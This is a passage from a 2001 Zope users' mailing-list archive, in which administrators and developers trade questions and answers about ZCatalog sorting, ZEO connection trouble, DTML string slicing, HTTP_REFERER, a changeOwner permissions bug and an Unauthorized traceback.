w4XlDj4zsEDt+fgul3n3T9SkCSJwuP5/uy792Xbr4vdqPzXzpYfGtenPEmtz mzQW/pUAjlavSe3suq0yioz/niLjn3UlYLrqXvz8zOIgd581ny/ihEDD9vM8 5M+MuB5kfjmw7hWUbClplgtE1RDQP7aHr/FaSJjVbYKT9+arXHKS2/J6CNzl rJefAaMrfwvFDn68HC7Ktw8z+k2eM/Tj+qdXS2CM5UecATq/FCb5CZ4Q1FrN ip1UDW96dqqCuPHgDG/1v8lBxrAyvscu8tPRFt/kVItGzG7Ivsb3TLTBq49w LqKKOCnBfyIKi7FpWINBnkuhgpseXTk1N8nNrlwgOrvpsVOrBc1OkPxEucyt vrF5i4rRwJsVdqI6dOV6eH+ZOO+fOvEMO6gbgFhYWu11n11GTc+HM2+E9eNc yxUIn8IfDEgf5ctyziicemvB9qQeLZcoQG1W+rEhFtJztvnDWDWpU03//Yhg I7gzKcVsm5+Lc6WJ6RzDYS2pTZwWUd2G7UVNUPovRkeKbP/Ox0ZAX2KJyToG dP224EXe2FKiCTf++NLNTg9ecb90KFrVrleB1Hcq7uU7OFLYYUOOFN9LKPOS e718uJD85XA7uGioYQYyugnbiDWdZIy2OYhDfG1Kh6nMAuDl7lyU/gnBioOU TV/2E8NGbXs/wLYwo0ycRJl036eHkvs51fwVCpjW/w4XX6lkNaoAAA== --889292347-547328792-989397187=:12772-- From chrisw@nipltd.com Wed May 9 09:38:14 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 09:38:14 +0100 Subject: [Zope] question about multiple search criteria References: Message-ID: <3AF901F6.6222B231@nipltd.com> marc lindahl wrote: > > check out http://www.zope.org/Members/Caseman/ZCatalog_for_2.3 > How does this help with the _sorting_ by multiple criteria? AFAIK, you can onyl supply one index name to the 'sort_on' attribute... cheers, Chris From fritz.mesedilla@summitmedia.com.ph Wed May 9 10:14:33 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 9 May 2001 17:14:33 +0800 Subject: [Zope] zeo Message-ID: does my main webserver like the zeo server have to connect to its own storage? server1 connects to zeo server2 connects to zeo zeo server connects to itself please advice. thanks. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From cg@cdegroot.com Wed May 9 10:16:09 2001 From: cg@cdegroot.com (Cees de Groot) Date: 9 May 2001 11:16:09 +0200 Subject: [Zope] Version Save/Discard doesn't work - any news? Message-ID: <9db1sp$462$1@home.cdegroot.com> This morning, I wanted to save a big chunk of changes and noticed that after doing "Save", changed documents were still marked with the red diamond and that outside the version, the base folder suddenly gave a key error. Undoing the save luckily restored the status quo, and so it was time to hunt the Zope.org site for information. I noticed that similar behaviour has been reported a couple of times last year on the mailing lists, and except for a very old instance I never saw a response from an "official" on what can cause this, what one can do to prevent this, and whether this will be fixed, ever. The work-around I picked up from previous reports (packing the database and retrying) worked beautifully in my case, but is generally not acceptable: we host a lot of websites on this system, our dealers are constantly building/modifying customer sites and I'm only dimly aware of when they are busy. It is of course not very nice that every time I want to save a version, I have to kill their undo history by packing the DB (I usually don't pack the DB, and if I do at +30 days). So: 1. Is this a problem that can be avoided in some way? 2. Will it be fixed? Regards, Cees From schoppa@uni-bielefeld.de Wed May 9 11:30:12 2001 From: schoppa@uni-bielefeld.de (schoppa@uni-bielefeld.de) Date: Wed, 09 May 2001 12:30:12 +0200 (CEST) Subject: [Zope] stupid question: first 7 chars of an URL Message-ID: <989404212.3af91c34cbc01@static.sbarton.de> Hi there, can't figure out how to write the frist 7 characters of an URL string to a new var. works fine. doesn't work. The problem is the ':'. May be one have to use url_quote. But can't combine dtml-let drml-call with url-quote to create a new var. Thank you Marcus From thomas@3dfestival.com Wed May 9 11:34:39 2001 From: thomas@3dfestival.com (3dfestival - WebMaster) Date: Wed, 9 May 2001 12:34:39 +0200 Subject: [Zope] Where does come from...? Message-ID: <015b01c0d873$a70d28b0$340014ac@sunebox> I would like to learn if it is possible to tell where the client comes from...? And if so: how...? I know the HTTP_USER_AGENT global variable but is there something like that which tells you the URL the client is comming from...? I also know about javascript:history.go(-1), but can somebody tell me how I read the URL from the back-page something like: javascript:history.href(-1)...? ( = Stoons = ) - Webmaster @ 3D festival (http://www.3dfestival.com) From p.bizzarri@icube.it Wed May 9 12:02:29 2001 From: p.bizzarri@icube.it (Paolo Bizzarri) Date: Wed, 9 May 2001 13:02:29 +0200 Subject: [Zope] Creating roles in Zope in a ZClass instance Message-ID: <01050913022900.31397@obiwan.icube.it> Hi everyone, I have tried to create a role in Zope in a ZClass instance via DTML or Python, but I get an authentication error on manage_defined_roles. Can someone help me ? Regards Paolo -- Paolo Bizzarri Icube S.r.l. From chrisw@nipltd.com Wed May 9 12:13:00 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 12:13:00 +0100 Subject: [Zope] Where does come from...? References: <015b01c0d873$a70d28b0$340014ac@sunebox> Message-ID: <3AF9263C.F14B7B86@nipltd.com> 3dfestival - WebMaster wrote: > > I know the HTTP_USER_AGENT global variable but is there something like that > which tells you the URL the client is comming from...? > I also know about javascript:history.go(-1), but can somebody tell me how I > read the URL from the back-page something like: > javascript:history.href(-1)...? REQUEST.HTTP_REFERER cheers, Chris From gitte@mmmanager.org Wed May 9 12:21:05 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Wed, 9 May 2001 13:21:05 +0200 Subject: [Zope] Some mathematical problems ... Message-ID: <01050913210502.02657@squidbitch.mmmanager.org> Hello ... I don't know if I can explain it clear enough but here goes: I am trying to update to values in a database. The values are a priority number, used to sort a list by. My code looks like this: The id-variable and the priority-variable comes from another sql-query and works just fine. The ServerNetid-variable and the oldpriority-variable are passed from a form. Now when this script is called it updates the record that comes from the other sql-query, but not the record that comes from the form (the best explanation I can come up with). So I guess it is because the oldpriority=_.int(REQUEST.oldpriority)-1) doesn't work. The values (before the -statement is: id=1 priority=1 ServerNetid=2 oldpriority=2 When the script has been called the values are: id=1 priority=2 ServerNetid=2 priority=2 (and this should be 1) Anyone with a good idea ?? Regards, -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From chrism@digicool.com Wed May 9 12:53:58 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 07:53:58 -0400 Subject: [Zope] zope and zeo References: Message-ID: <3AF92FD6.65626F81@digicool.com> Hi Fritz, Do you have logging turned on on the clients (ie. have you set the STUPID_LOG_FILE environment variable up on the clients)? If so, do the logs say anything? As a voodoo measure, have you attempted to shut down and restart the ZEO server and all the client processes? Fritz Mesedilla wrote: > > please help!!! > > all of a sudden zope won't start with zeo. > > what i mean is that the processes are running when doing "ps aux" but when > you browse the site it doesn't wnat to load. it used to load then all of a > sudden after two weeks of successful running i can't see the website. > > now i was able to make the management site come out in the browser but the > left navigational bar doesn't want to load. > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > ---------------------------------------------------------------------------- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > ---------------------------------------------------------------------------- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > ---------------------------------------------------------------------------- > +Basta Ikaw Lord > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Wed May 9 12:55:54 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 07:55:54 -0400 Subject: [Zope] stupid question: first 7 chars of an URL References: <989404212.3af91c34cbc01@static.sbarton.de> Message-ID: <3AF9304A.CD422360@digicool.com> Hi Marcus,
schoppa@uni-bielefeld.de wrote: > > Hi there, > > can't figure out how to write the frist 7 characters of an URL string to a new > var. > > works fine. > doesn't work. > > > > The problem is the ':'. May be one have to use url_quote. But can't combine > dtml-let drml-call with url-quote to create a new var. > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Wed May 9 12:57:20 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 07:57:20 -0400 Subject: [Zope] Version Save/Discard doesn't work - any news? References: <9db1sp$462$1@home.cdegroot.com> Message-ID: <3AF930A0.6B8A98F3@digicool.com> I *think* Shane Hathaway recently fixed a similar versions bug. Hopefully he'll pipe up. Cees de Groot wrote: > > This morning, I wanted to save a big chunk of changes and noticed that > after doing "Save", changed documents were still marked with the red > diamond and that outside the version, the base folder suddenly gave a > key error. Undoing the save luckily restored the status quo, and so it > was time to hunt the Zope.org site for information. > > I noticed that similar behaviour has been reported a couple of times > last year on the mailing lists, and except for a very old instance I > never saw a response from an "official" on what can cause this, what > one can do to prevent this, and whether this will be fixed, ever. > > The work-around I picked up from previous reports (packing the database > and retrying) worked beautifully in my case, but is generally not > acceptable: we host a lot of websites on this system, our dealers are > constantly building/modifying customer sites and I'm only dimly aware of > when they are busy. It is of course not very nice that every time > I want to save a version, I have to kill their undo history by > packing the DB (I usually don't pack the DB, and if I do at +30 days). > > So: > 1. Is this a problem that can be avoided in some way? > 2. Will it be fixed? > > Regards, > > Cees > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From alet@unice.fr Wed May 9 12:55:48 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 13:55:48 +0200 (MET DST) Subject: [Zope] [BUG] in changeOwner Message-ID: Hi, it seems (in fact I'm sure) there's a bug in changeOwner's behavior: I suspect changeOwner of changing ownership on the folder's content when you change ownership on the folder itself, e.g.: Folder-A |--Folder-B |--Object-C |--Folder-D |--Object-E if I change ownership on A but not its subobjects, then it seems that ownership is changed on A,B, C and D, while E retains its original ownership. is it normal ? To me it's not. it seems like if you try to change ownership recursively from an object (Folderish) on something you already own, changeOwner returns successfully immediately even if you're not the owner of the complete subtree. AccessControl/Owner.py says: --- CUT --- if old==new: return --- CUT --- which seems to confirm my point. any comment ? Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome Fac de Medecine de Nice http://wwwmed.unice.fr Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE From alet@unice.fr Wed May 9 12:59:00 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 13:59:00 +0200 (MET DST) Subject: [Zope] [BUG] in changeOwner Message-ID: Sorry, my previous message's content should have been (please ignore what's at its top) : Hi, it seems (in fact I'm sure) there's a bug in changeOwner's behavior: it seems like if you try to change ownership recursively from an object (Folderish) on something you already own, changeOwner returns successfully immediately even if you're not the owner of the complete subtree. AccessControl/Owner.py says: --- CUT --- if old==new: return --- CUT --- which seems to confirm my point. any comment ? Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome Fac de Medecine de Nice http://wwwmed.unice.fr Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE From jose@sferacarta.com Wed May 9 13:20:00 2001 From: jose@sferacarta.com (Jose Soares) Date: Wed, 09 May 2001 14:20:00 +0200 Subject: [Zope] stupid question: first 7 chars of an URL References: <989404212.3af91c34cbc01@static.sbarton.de> Message-ID: <3AF935F0.6995E84C@sferacarta.com> It works for me: ----------------------------------------- The URL is: The URL is NOT ... ------------------- result: The URL is: http:// schoppa@uni-bielefeld.de wrote: > Hi there, > > can't figure out how to write the frist 7 characters of an URL string to a new > var. > > works fine. > doesn't work. > > > > The problem is the ':'. May be one have to use url_quote. But can't combine > dtml-let drml-call with url-quote to create a new var. > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From marcus.schopen@uni-bielefeld.de Wed May 9 13:13:48 2001 From: marcus.schopen@uni-bielefeld.de (marcus.schopen@uni-bielefeld.de) Date: Wed, 09 May 2001 14:13:48 +0200 (CEST) Subject: [Zope] stupid question: first 7 chars of an URL In-Reply-To: <3AF9304A.CD422360@digicool.com> References: <989404212.3af91c34cbc01@static.sbarton.de> <3AF9304A.CD422360@digicool.com> Message-ID: <989410428.3af9347c31f8a@static.sbarton.de> Hi Chris, this will not work because of the ':' in URL var I did it like this. Any better way? extern URL Bye Marcus Zitiere Chris McDonough : > Hi Marcus, > > > > > > > schoppa@uni-bielefeld.de wrote: > > > > Hi there, > > > > can't figure out how to write the frist 7 characters of an URL string > to a new > > var. > > > > works fine. > > doesn't work. > > > > > > > > The problem is the ':'. May be one have to use url_quote. But can't > combine > > dtml-let drml-call with url-quote to create a new var. > > > > Thank you > > Marcus > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From schoppa@uni-bielefeld.de Wed May 9 13:15:46 2001 From: schoppa@uni-bielefeld.de (schoppa@uni-bielefeld.de) Date: Wed, 09 May 2001 14:15:46 +0200 (CEST) Subject: [Zope] stupid question: first 7 chars of an URL In-Reply-To: <3AF9304A.CD422360@digicool.com> References: <989404212.3af91c34cbc01@static.sbarton.de> <3AF9304A.CD422360@digicool.com> Message-ID: <989410546.3af934f22d189@static.sbarton.de> Hi Chris, sorry. Your are right. Didn't work because of dmtl instead of dtml ;-) Bye Marcus Zitiere Chris McDonough : > Hi Marcus, > > > > > > > schoppa@uni-bielefeld.de wrote: > > > > Hi there, > > > > can't figure out how to write the frist 7 characters of an URL string > to a new > > var. > > > > works fine. > > doesn't work. > > > > > > > > The problem is the ':'. May be one have to use url_quote. But can't > combine > > dtml-let drml-call with url-quote to create a new var. > > > > Thank you > > Marcus > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From tino@wildenhain.de Wed May 9 13:25:41 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 09 May 2001 14:25:41 +0200 Subject: [Zope] Where does come from...? In-Reply-To: <015b01c0d873$a70d28b0$340014ac@sunebox> References: <015b01c0d873$a70d28b0$340014ac@sunebox> Message-ID: <19621242.989418341@BUZZER> Hi 3dfesti-anything,... if you are lucky, you have that information in HTTP_REFERER (see in a single Page) But dont expect too useful data here. The Useragent does not need to provide reliable information here. In fact it could lie about it or ommit that information. Regards Tino Wildenhain --On Mittwoch, 9. Mai 2001 12:34 +0200 3dfestival - WebMaster wrote: > I would like to learn if it is possible to tell where the client comes > from...? > And if so: how...? > > I know the HTTP_USER_AGENT global variable but is there something like > that which tells you the URL the client is comming from...? > I also know about javascript:history.go(-1), but can somebody tell me how > I read the URL from the back-page something like: > javascript:history.href(-1)...? > > ( = Stoons = ) > - Webmaster @ 3D festival (http://www.3dfestival.com) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From Philippe.Bocquillon@trasys.be Wed May 9 13:30:02 2001 From: Philippe.Bocquillon@trasys.be (Bocquillon Philippe) Date: Wed, 9 May 2001 14:30:02 +0200 Subject: [Zope] Does it exist a Zope product for creating/editing RSS files v1.0 (and/or 0.9)? Message-ID: Hello, The SiteSummary Zope product permits to create RSS v0.91 files. The RDFSummary product permits to grab RSS v0.9 and v1.0 files from other sites. Does it exist another Zope product permitting to create/edit RSS v1.0 and v0.9 files? If no, do you know if a Python based tool can do that? Philippe Bocquillon From m.mariani@imola.nettuno.it Wed May 9 13:13:51 2001 From: m.mariani@imola.nettuno.it (Marco Mariani) Date: Wed, 9 May 2001 14:13:51 +0200 Subject: [Zope] the neverending constructors Message-ID: <20010509141351.A10110@zoidberg> Hi! I'm writing a product which is instantiated through a wizard, made by a sequence of HTML forms. Each form is a method, so I must declare them (and the methods called by them, and so on) to assign the permissions. It becomes: context.registerClass( ZopeCA, constructors = ( ZopeCA.addWizard, # the first method is called when someone # uses the pulldown menu ZopeCA.addWizard1, ZopeCA.addWizard_cert, ZopeCA.addWizard_key, ZopeCA.addWizard_x520, ZopeCA.addWizard_extensions, ZopeCA.manage_addCA, ZopeCA.set_dbconnection, ZopeCA.error, ZopeCA.countrylist, ZopeCA.rsa_filter_save, ZopeCA.rsa_filter_load, ZopeCA.sscert_save, ZopeCA.dateForm, ) ) or even longer. Is there a way to avoid declaring everything under the sun? Other products are set up by a single form, but mine is quite complex (it needs to create a self-signed certificate, amongst other things) Thanks. From fritz.mesedilla@summitmedia.com.ph Wed May 9 14:09:32 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 9 May 2001 21:09:32 +0800 Subject: [Zope] zope and zeo In-Reply-To: <3AF92FD6.65626F81@digicool.com> Message-ID: uh i'm not sure. all i changed was the location and port number of the zeo server on the custom_zodb.py file. i didn't change anything. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf Of Chris McDonough Sent: Wednesday, May 09, 2001 7:54 PM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] zope and zeo Hi Fritz, Do you have logging turned on on the clients (ie. have you set the STUPID_LOG_FILE environment variable up on the clients)? If so, do the logs say anything? As a voodoo measure, have you attempted to shut down and restart the ZEO server and all the client processes? Fritz Mesedilla wrote: > > please help!!! > > all of a sudden zope won't start with zeo. > > what i mean is that the processes are running when doing "ps aux" but when > you browse the site it doesn't wnat to load. it used to load then all of a > sudden after two weeks of successful running i can't see the website. > > now i was able to make the management site come out in the browser but the > left navigational bar doesn't want to load. > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > -------------------------------------------------------------------------- -- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > -------------------------------------------------------------------------- -- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > -------------------------------------------------------------------------- -- > +Basta Ikaw Lord > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Wed May 9 17:12:28 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 09:12:28 -0700 Subject: [Zope] zope and zeo References: Message-ID: <3AF96C6C.EBCE2CB5@digicool.com> When you changed the zeo port number in the clients' custom_zodb.py file(s), did you change the corresponding port number in the ZEO server's 'start' file? Fritz Mesedilla wrote: > > uh i'm not sure. all i changed was the location and port number of the zeo > server on the custom_zodb.py file. i didn't change anything. > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > ---------------------------------------------------------------------------- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > ---------------------------------------------------------------------------- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > ---------------------------------------------------------------------------- > +Basta Ikaw Lord > > -----Original Message----- > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > Of Chris McDonough > Sent: Wednesday, May 09, 2001 7:54 PM > To: fritz.mesedilla@summitmedia.com.ph > Cc: zope@zope.org > Subject: Re: [Zope] zope and zeo > > Hi Fritz, > > Do you have logging turned on on the clients (ie. have you set the > STUPID_LOG_FILE environment variable up on the clients)? > > If so, do the logs say anything? > > As a voodoo measure, have you attempted to shut down and restart the ZEO > server and all the client processes? > > Fritz Mesedilla wrote: > > > > please help!!! > > > > all of a sudden zope won't start with zeo. > > > > what i mean is that the processes are running when doing "ps aux" but when > > you browse the site it doesn't wnat to load. it used to load then all of a > > sudden after two weeks of successful running i can't see the website. > > > > now i was able to make the management site come out in the browser but the > > left navigational bar doesn't want to load. > > > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > > > Fritz Mesedilla > > Systems Administrator > > > > "Ooops! Save your work, everyone. FAST!" > > -------------------------------------------------------------------------- > -- > > Summit Interactive, Inc. > > > > http://www.femalenetwork.com | http://www.candymag.com > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > -------------------------------------------------------------------------- > -- > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > -------------------------------------------------------------------------- > -- > > +Basta Ikaw Lord > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) From fritz.mesedilla@summitmedia.com.ph Wed May 9 14:19:05 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 9 May 2001 21:19:05 +0800 Subject: [Zope] Oh no! urgent traceback Message-ID: please help me!!! what is wrong? Traceback (innermost last): File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 187, in publish File /usr/local/zope/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: Traversable) File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 162, in publish File /usr/local/zope/lib/python/ZPublisher/BaseRequest.py, line 380, in traverse File /usr/local/zope/lib/python/ZPublisher/HTTPResponse.py, line 557, in debugError NotFound: (see above) Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From chrism@digicool.com Wed May 9 17:33:14 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 09:33:14 -0700 Subject: [Zope] Oh no! urgent traceback References: Message-ID: <3AF9714A.97313503@digicool.com> This is possibly the most common traceback given by Zope. It means that the object referred to by a URL can't be found. So for instance, if you visit http://yoursite.com/anonexistinentobject , it will raise this error. Fritz Mesedilla wrote: > > please help me!!! > > what is wrong? > > Traceback (innermost last): > File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 223, in > publish_module > File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 187, in > publish > File /usr/local/zope/lib/python/Zope/__init__.py, line 221, in > zpublisher_exception_hook > (Object: Traversable) > File /usr/local/zope/lib/python/ZPublisher/Publish.py, line 162, in > publish > File /usr/local/zope/lib/python/ZPublisher/BaseRequest.py, line 380, in > traverse > File /usr/local/zope/lib/python/ZPublisher/HTTPResponse.py, line 557, in > debugError > NotFound: (see above) > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > ---------------------------------------------------------------------------- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > ---------------------------------------------------------------------------- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > ---------------------------------------------------------------------------- > +Basta Ikaw Lord > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From phil.harris@zope.co.uk Wed May 9 15:08:17 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Wed, 9 May 2001 15:08:17 +0100 Subject: [Zope] Security Problems? Message-ID: <027001c0d891$7f9d59d0$5c773fc1@media1> This is a multi-part message in MIME format. ------=_NextPart_000_026D_01C0D899.E08A4D90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable All, I've got a sneaking suspicion that there are some security problems in = Zope 2.3.x. I've been trying to make a simple testcase and would like other (better) = minds than mine to look at it. I have an external method which looks like: class c: def __init__(self,a): self.score=3Da self.test=3Da*a def t(self): retval=3D[] for a in range(1,10): retval.append(c(a)) return retval The class 'c' is a very simple class, it has no methods and only two = attributes/properties 'score' and 'test'. The external method 't' is also very simple, it just returns an array of = class 'c'. The dtml-method I'm using to access this array is as follows: Nothing earth shattering there either. BUT, I get an unauthorized error raised with this traceback whenever I = run this dtml-method:=20 (note that a authentication login box is presented but NO user name is = able to authenticate) Traceback (innermost last): File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in = publish_module File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 187, in = publish File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 171, in = publish File D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py, line 160, in mapply (Object: index_html) File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in = call_object (Object: index_html) File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in __call__ (Object: index_html) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, = in __call__ (Object: index_html) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in = renderwob (Object: t) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in = eval (Object: _['sequence-item'].score) (Info: _) File <string>, line 0, in ? File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in = careful_getattr File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 261, in validate (Object: index_html) File D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line = 144, in validate File D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line = 168, in validate Unauthorized: score All of this is run on a bog standard install of Zope 2.3.2 with no other = products installed, no security changes done, REALLY bog standard. Anyone got any ideas? Cos this is doin my f'in ed in man?!?!?!?!?!? Phil phil.harris@zope.co.uk ------=_NextPart_000_026D_01C0D899.E08A4D90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
All,
 
I've got a sneaking suspicion that = there are some=20 security problems in Zope 2.3.x.
 
I've been trying to make a simple = testcase and=20 would like other (better) minds than mine to look at it.
 
I have an external method which looks=20 like:
 
class c:
    def=20 __init__(self,a):
       =20 self.score=3Da
        = self.test=3Da*a
 
def t(self):
    = retval=3D[]
    for a in=20 range(1,10):
       =20 retval.append(c(a))
    return retval
 
The class 'c' is a very simple class, it has no methods and only = two=20 attributes/properties 'score' and 'test'.
 
